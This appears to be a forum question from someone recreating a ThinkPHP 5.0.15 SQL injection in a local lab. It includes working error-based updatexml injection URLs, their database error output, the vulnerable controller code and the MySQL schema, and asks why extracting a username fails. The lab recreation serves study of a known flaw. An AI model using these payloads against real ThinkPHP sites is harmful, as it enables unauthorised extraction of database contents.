sql_injection vulnerability in thinkphp5.0.x debug

Question

I am recreating a sql injection vulnerability about thinkphp5.0.x

I can already get the version() but I cannot get field content，it says：

SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported`
why？

thinkphp 5.0.15
php 7.2

payload1:
http://127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,version(),0x7e),1)&password[2]=1

echo1:

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~5.5.53~'

payload2:
http://127.0.0.1/thinkphp5.0.15/public/index.php/index/index/index?password[0]=inc&password[1]=updatexml(1,concat(0x7e,(select%20username%20from%20user limit 0,1),0x7e),1)&password[2]=1

echo2:

SQLSTATE[HY000]: General error: 1105 Only constant XPATH queries are supported but it echo in mysql is right: mysql> INSERT INTO user (password) VALUES (updatexml(1,concat(0x7e,(select username from user limit 0,1)),1)+1) ; ERROR 1105 (HY000): XPATH syntax error: '~test'

//index.php
<?php
namespace app\index\controller;
use think\Db;
class Index
{
    public function index()
    {
        $password = input("get.password/a");
        Db::table("user")->where(["id"=>1])->insert(["password"=>$password]);
        return "ThinkPHP SQL Test.";
    }
}

//mysql.sql
# Host: localhost  (Version: 5.5.53)
# Date: 2019-07-15 10:10:05
# Generator: MySQL-Front 5.3  (Build 4.234)

/*!40101 SET NAMES utf8 */;
create database thinkphp;

use thinkphp;
#
# Structure for table "user"
#

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) DEFAULT NULL,
  `password` varchar(50) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

#
# Data for table "user"
#

INSERT INTO `user` VALUES (1,'test','password');

I expect the output is SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~test'